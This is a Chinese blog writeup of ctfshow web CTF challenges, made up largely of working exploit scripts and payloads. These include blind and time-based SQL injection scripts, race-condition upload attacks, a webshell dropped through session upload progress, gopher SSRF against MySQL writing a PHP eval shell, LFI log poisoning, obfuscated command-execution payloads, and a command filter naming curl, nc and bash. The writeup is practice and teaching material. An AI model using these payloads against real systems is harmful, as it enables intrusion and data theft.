本篇博客主要介绍了ctfshow上web部分题目的writeup!

红包题

红包题第二弹

查看源代码,发现hint,访问发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>

我第一次想到的是php正则回溯,然而不是,不绕弯子

过滤了好多东西,但发现./<>?p以及反引号并没有过滤,这里就要介绍一个概念php临时文件

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定

在上传存储到临时目录后,临时文件命名的规则:默认为 php+4或者6位随机数字和大小写字母

因此我们就可以尝试上传一个文件,然后绕过用通配符和短标签来执行该文件,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import threading

url1='http://7653b365-217d-4cd7-91c9-e620b64e0638.challenges.ctf.show/?cmd=?><?=`.+/???/p?p??????`;' #加号用来分隔也可以用空格,短标签的后半部分可以不加
url='http://7653b365-217d-4cd7-91c9-e620b64e0638.challenges.ctf.show/'
proxies={
'http':'http://127.0.0.1:8080'
}
def post():
files={
'upload':'#!/bin/sh\necho 1433223\nls /\ncat /flag.txt'
}
r=requests.post(url,files=files)
def req():
r=requests.get(url1)
if '1433223' in r.text:
print(r.text)

for i in range(50):
threading.Thread(target=post,args=()).start()
for i in range(50):
threading.Thread(target=req,args=()).start()

红包题第六弹

hint提示不是sql注入,要找源码,dirsearch扫目录发现

www.zip里有check.php的关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function receiveStreamFile($receiveFile){

$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';

if(empty($streamData)){
$streamData = file_get_contents('php://input');
}

if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}

return $ret;

}
if(md5(date("i")) === $token){

$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}

$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}

$ret['errormsg']="token error";
echo json_encode($ret);
return;

查看key.dat发现明显是用fastcoll生成的,但题目并不是这种思路

介绍一下fastcoll,工具可以用来生成两个MD5值相同但内容不相同的文件

1
fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt

-p 是源文件, -o 是输出文件(两个),同样我们也可以用工具生成四个MD5相同但内容不同的文件

先生成两个MD5相同但内容不同的文件

1
fastcoll_v1.0.0.5.exe -o 1.txt 2.txt

取其中一个文件作为源文件再生成两个MD5相同但内容不同的文件

1
fastcoll_v1.0.0.5.exe -p 1.txt -o 3.txt 4.txt

可以看到1.txt 2.txt是128字节,而3.txt 4.txt是256字节,因此我们只需要将3.txt,4.txt文件后128字节取出来放在2.txt后面,便可以有四个MD5相同内容不相同的文件

取出可以用tail,下载连接:https://www.trisunsoft.com/tail-for-windows.htm

1
2
tail.exe -c 128 3.txt > a
tail.exe -c 128 4.txt > b

合成可用win自带的type

1
2
type 2.txt a > 5.txt
type 2.txt b > 6.txt

当然也可以用hxd

再说本题 ,题目考察的是条件竞争,即我们只需满足第一个MD5比较之后然后更改文件内容即可,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
import hashlib
import threading

def post(data):
try:
r=requests.post(url,data=data)
if "flag" in r.text:
print(r.text)
except Exception as e:
pass

mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://124.156.121.112:28047/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
data1=f.read()
with open('nokey.dat','rb') as f:
data2=f.read()
for i in range(30):
threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
threading.Thread(target=post,args=(data2,)).start()

参考:

https://xz.aliyun.com/t/2232

红包题第九弹

很明显是ssrf gopher://协议攻击mysql,试了很久,都没成功,还是tcl,最重要的url编码忘记了,我TM

下面介绍三种方式生成payload:

tcpdump

准备工作:

mysql设置无密码,我这里用的是kali2019.3

直接在配置文件/etc/mysql/mariadb.conf.d/50-server.cnf里的[mysqld]下面增加一行

1
skip-grant-tables

重启mysql

1
service mysql restart

不行就

1
2
/usr/share/mysql/mysql.server stop
/usr/share/mysql/mysql.server start

/var/www/html有写权限,其实这个无所谓,抓的只是流量

1
chmod 777 /var/www/html

tcpdump监听lo网卡3306端口流量,保存在文件里

1
tcpdump -i lo port 3306 -w mysql.pacp

然后执行

1
mysql -u root -h 127.0.0.1

在sql命令行执行

1
2
select '<?php @eval($_POST[1]);?>' into outfile "/var/www/html/moonback.php";
exit

然后wireshark打开,追踪tcp流

选择原始数据,保存到一个文件,hxd打开把16进制复制到txt中,然后空格替换%号,别忘了第一个增加%

然后就可以发送给服务端了,注意要url编码一次

common-gopher-tcp-stream

github地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

这个工具直接把编码后的显示出来了,很方便

下载下来首先make编译一下

然后监听,端口和-p必须挨着

1
./sniffer -p3306

接着和上面一样

1
2
3
mysql -u root -h 127.0.0.1
select '<?php @eval($_POST[1]);?>' into outfile "/var/www/html/moonback.php";
exit

然后提交的时候注意url再编码一次就行

仔细看了看发现除了大小写,两个流量没啥差别,都是16进制,大小写无所谓

Gopherus

github地址:https://github.com/tarunkant/Gopherus

直接用工具生成也行,注意url编码,我真垃圾

web

web2

布尔盲注,没啥过滤,直接跑,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url="http://783dfdd8-9d2e-4e68-b3df-e1b718d4a572.chall.ctf.show/"
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
data={'username':"admin' or if(ascii(substr((select flag from web2.flag),{},1))>{},1,0)#".format(str(i),str(mid)),'password':'admin'}
data1={'username':"admin' or if(ascii(substr((select flag from web2.flag),{},1))={},1,0)#".format(str(i),str(mid)),'password':'admin'}
try:
r1=requests.post(url,data=data1)
print(i,mid)
if 'ctfshow' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.post(url,data=data)
if 'ctfshow' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break

web3

allow_url_fopen和allow_url_include都开启了,直接php://input

1
2
3
?url=php://input
POST:
<?php system('cat ctf_go_go_go ');

web4

过滤了php,直接session_upload_progress GETshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import threading

url='http://5c452cf4-fc3f-45c0-a872-3e818ec53c43.chall.ctf.show/'
r=requests.session()
headers={
"Cookie":'PHPSESSID=mb'
}
def POST():
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php echo "moonback";file_put_contents("/tmp/mb", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs="));?>' #恶意进度信息,readfile将直接输出文件内容
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
POST()
t=r.get("http://5c452cf4-fc3f-45c0-a872-3e818ec53c43.chall.ctf.show/?url=/tmp/sess_mb")
if 'moonback' in t.text:
print('[+] ok')
else:
continue

for i in range(50):
threading.Thread(target=READ,args=()).start()

web5

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

md5弱比较,payload

1
?v1=QNKCDZO&v2=240610708

web6

就比web2多过滤个空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url="http://7d7d60c5-b0fa-498e-842e-c12ef1378f0b.chall.ctf.show/"
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
data={'username':"admin'/**/or/**/if(ascii(substr((select/**/flag/**/from/**/web2.flag),{},1))>{},1,0)#".format(str(i),str(mid)),'password':'admin'}
data1={'username':"admin'/**/or/**/if(ascii(substr((select/**/flag/**/from/**/web2.flag),{},1))={},1,0)#".format(str(i),str(mid)),'password':'admin'}
try:
r1=requests.post(url,data=data1)
print(i,mid)
if 'ctfshow' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.post(url,data=data)
if 'ctfshow' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break

web7

数字型布尔注入,过滤空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url="http://e3a532c0-bca9-4abc-a724-1adb2b991432.chall.ctf.show/index.php?id="
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="if(ascii(substr((select/**/flag/**/from/**/web7.flag),{},1))>{},1,0)#".format(str(i),str(mid))
p2="if(ascii(substr((select/**/flag/**/from/**/web7.flag),{},1))={},1,0)#".format(str(i),str(mid))
try:
r1=requests.get(url+p2)
print(i,mid)
if 'pitch-and-toss,' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.get(url+p1)
if 'pitch-and-toss,' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break

web8

过滤空格可以用/**/,过滤ifcase when 1=1 then 1 else 0 end,过滤逗号用from 1 for 1截取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url="http://9f999441-8cb2-4663-9f55-195bbfafe615.chall.ctf.show/index.php?id="
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="(case/**/when/**/(ascii(substr((select/**/flag/**/from/**/web8.flag)/**/from/**/{}/**/for/**/1))>{})/**/then/**/1/**/else/**/0/**/end)".format(str(i),str(mid))
p2="(case/**/when/**/(ascii(substr((select/**/flag/**/from/**/web8.flag)/**/from/**/{}/**/for/**/1))={})/**/then/**/1/**/else/**/0/**/end)".format(str(i),str(mid))
try:
r1=requests.get(url+p2)
print(i,mid)
if 'pitch-and-toss,' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.get(url+p1)
if 'pitch-and-toss,' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break

web9

访问/robots.txt看到index.phps,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

javisoj上的一道题,详细参考:https://www.moonback.xyz/2019/10/05/jarvisoj-web-wp/#Login

直接

1
admin:ffifdyop

web10

同样访问index.phps得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

比较了替换后的长度和原来的长度,不相等就退出程序,这里有个小trick

group by很好理解,根据某个字段分组嘛,加上WITH ROLLUP的意思就是在group分组字段的基础上再进行统计数据,这时就会多出一个NULL

对于这道题,我们只需用上这个点并且设置password为空就可以登陆,由于过滤了空格需要

1
admin'/**/or/**/1/**/group/**/by/**/password/**/with/**/rollup#

NULL弱等于空字符串,登陆成功

web11

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

password存在于session中,只需指定一个不存在的session id,password设置成空就行,同样是NULL弱等于空字符

web12

查看源码,提示?cmd=,第一次以为是命令执行,查看phpinfo:

1
?cmd=phpinfo();

查看源码:

1
2
3
4
// ?cmd=show_source('/var/www/html/index.php');
<?php
$cmd=$_GET['cmd'];
eval($cmd);

查找目录,读取文件:

1
2
?cmd=var_dump(scandir('./'));
?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

不知道为啥不过滤scandir,过滤了可以用glob协议绕过

1
print_r(glob("*"));

web13

.user.ini绕过,详细参考:https://www.moonback.xyz/2020/01/16/buuctf%E5%88%B7%E9%A2%98-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%AF%87/#SUCTF-2019-CheckIn

贴一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i",$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>

web14

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 <?php
include("secret.php");

if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}

highlight_file(__FILE__);

由于switch没有碰到break时会一直往下执行,直接让c等于3就能输出$url,访问,查看源码:

1
2
3
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}

和web7差不多,跑了下版本发现是:10.2.26-MariaDB-log,所有数据库:

1
information_schema,mysql,performance_schema,web

可以通过information_schema中的其他表来bypass,详细参考:https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb

1
2
3
4
5
//爆表
SELECT/**/group_concat(TABLE_NAME)/**/FROM/**/information_schema.KEY_COLUMN_USAGE/**/WHERE/**/table_schema=DATABASE()

//爆第一列
SELECT/**/group_concat(COLUMN_NAME)/**/FROM/**/information_schema.KEY_COLUMN_USAGE/**/WHERE/**/table_schema=DATABASE()/**/and/**/table_name='content'

剩下的就要无列名注入了,需要先猜列数,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url="http://fbae9ee1-b59d-4b25-a39d-0e4af175f5da.chall.ctf.show/here_1s_your_f1ag.php?query="
flag=''
for i in range(1,50):
f1=flag
top=127
low=32
while low<=top:
mid=(top+low)//2
p1="if(ascii(substr((select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)a),{},1))>{},1,0)#".format(str(i),str(mid))
p2="if(ascii(substr((select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)a),{},1))={},1,0)#".format(str(i),str(mid))
try:
r1=requests.get(url+p2)
print(i,mid)
if 'admin' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.get(url+p1)
if 'admin' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break

跑出来flag不在这,其实那个过滤很鸡肋,直接反引号就可以绕过,并且可以联合查询,沙雕了!

1
2
3
?query=1/**/order/**/by/**/1%23

?query=-1/**/union/**/select/**/load_file('/var/www/html/here_1s_your_f1ag.php')%23

here_1s_your_f1ag.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include("config.php");

$db = new sql();

if(isset($_GET['query']) && $_GET['query'] !== ''){
$id = $_GET['query'];
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
}else{
$id = 1;
}
$sql_ = "select username from content where id=$id";
$db = new sql();
echo "<script>alert('".$db->getone($sql_)[0]."')

通过查看secret.php得到flag的位置,读flag

1
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')%23

web15 Fishman

WEB_给你shell_36D杯

查看源码发现?view_source,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

先看下haveFun函数,输出$_i & 0xC00xC0二进制形式11000000,由于数字的ascii码范围为48-57,大写字母的ascii码范围65-90,小写字母的范围97-122

因此与运算的结果只有两种:

1
2
00000000	==>		0
01000000 ==> 64

并且为数字的时候由于ascii小于64,因此计算结果为0,同理,为大小写字母时计算结果为64

由返回结果:

1
0006464640064064646464006406464064640064006400000000000

md5前三个字符均为数字,又:

1
2
$obj['secret'] != $flag_md5
// 123=='123a'

比较是弱比较,因此我们可以用弱类型绕过,尝试爆破:

注意不能是:

1
{"secret":"115"}

访问得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
error_reporting(0);
session_start();

//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";


if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');


if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}


/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
*/

fuzz一下,发现下面的都不能用了

1
` ; include ' "

可以用短标签,以下均可以正常允许

1
2
3
4
5
6
7
<?=phpinfo();

<?
echo 123
?>

<?=`ls`?>

payload:

1
?code=1]=1?><?=require~%D0%99%93%9E%98?>

WEB_RemoteImageDownloader_36D

WEB_ALL_INFO_U_WANT_36D

扫目录发现index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
phpvisit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}

if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}

?>

really really really baby challenge right?

访问包含flag提示是假的,尝试getshell,预期解是包含/var/log/nginx/access.log,把一句话放在请求头里包含蚁剑连

1
grep -r -l "flag"  /etc

找到/etc/opt/secret/what_you_want

另外一种办法是包含自身,构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>

<form action="http://591caabf-a243-4850-8254-3c4f913b12e2.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

WEB_WUSTCTF朴实无华Revenge_36D杯

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧

先看第一关,大概意思就是两个条件:

1
2
intval($num)===intval(strrev($num))
$num!=strrev($num)并且$num只包含0-9.-

所以可以构造

1
2
3
?num=9.-9
?num=00.0
?num=10.010

再看第二关

双MD5与本身弱相等

直接用0e1138100474,最后一关命令执行,可以用\%09绕过,payload:

1
2
?num=10.010&md5=0e1138100474&get_flag=ca\t%09/flag
?num=10.010&md5=0e1138100474&get_flag=ca\t</flag

WEB_Login_Only_For_36D_36D

查看源码,发现:

1
2
<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

fuzz一下,发现过滤了

1
select ' " | 空格 ascii substr = and mid

立马想到\,发现下面可以延时:

ascii函数可以用ord函数代替,等号用likesubstrleft,payload:

1
username=admin\&password=or/**/if((ord(left(password,1))/**/like/**/73),sleep(3),0)#

还可以用regexp注入,payload:

1
username=admin\&password=or/**/if((left(password,1)/**/regexp/**/binary/**/0x49),sleep(3),1)#

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url="http://631b5cfe-7f15-4390-958c-228c6a9c421a.chall.ctf.show"
flag=''
hexflag=''
s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
for i in range(1,50):
f1=flag
for j in s:
hexj=str(hex(ord(j))).replace('0x','')
p1="or/**/if((left(password,{})/**/regexp/**/binary/**/0x{}),sleep(3),1)#".format(str(i),hexflag+hexj)
data1={'username':'admin\\','password':p1}
try:
print(i,hexj)
r1=requests.post(url,data=data1,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag+=j
hexflag+=str(hex(ord(j))).replace('0x','')
print(flag)
break
except Exception as e:
pass
if flag==f1:
break

WEB你取吧36D杯

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>

利用递增的那种思想构造就行

1
2
3
<?php
$_=[];$_=@"$_";$_=$_['!'=='@'];$__=$_;$_++;$_++;$_++;$_++;$_______=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$________=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_________=$_;$_++;$__________=$_;$_____=$_;$_++;$_++;$_++;$_++;$_++;$___________=$_;$___.=$_________;$___.=$___________;$___.=$_________;$___.=$__________;$___.=$_______;$___.=$________;$____='_';$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$______=$__;$__++;$____.=$__;$____.=$______;$__++;$__++;$__++;$____.=$__;$__++;$____.=$__;$_=$$____;$___($_[_]);
// SYSTEM($_POST[_]);

payload:

1
?code=%31%29%3b%24%5f%3d%5b%5d%3b%24%5f%3d%40%22%24%5f%22%3b%24%5f%3d%24%5f%5b%27%21%27%3d%3d%27%40%27%5d%3b%24%5f%5f%3d%24%5f%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%5f%5f%5f%5f%5f%5f%3d%24%5f%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%5f%5f%5f%5f%5f%5f%5f%3d%24%5f%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%3d%24%5f%3b%24%5f%2b%2b%3b%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%5f%3d%24%5f%3b%24%5f%5f%5f%5f%5f%3d%24%5f%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%5f%5f%3d%24%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%5f%3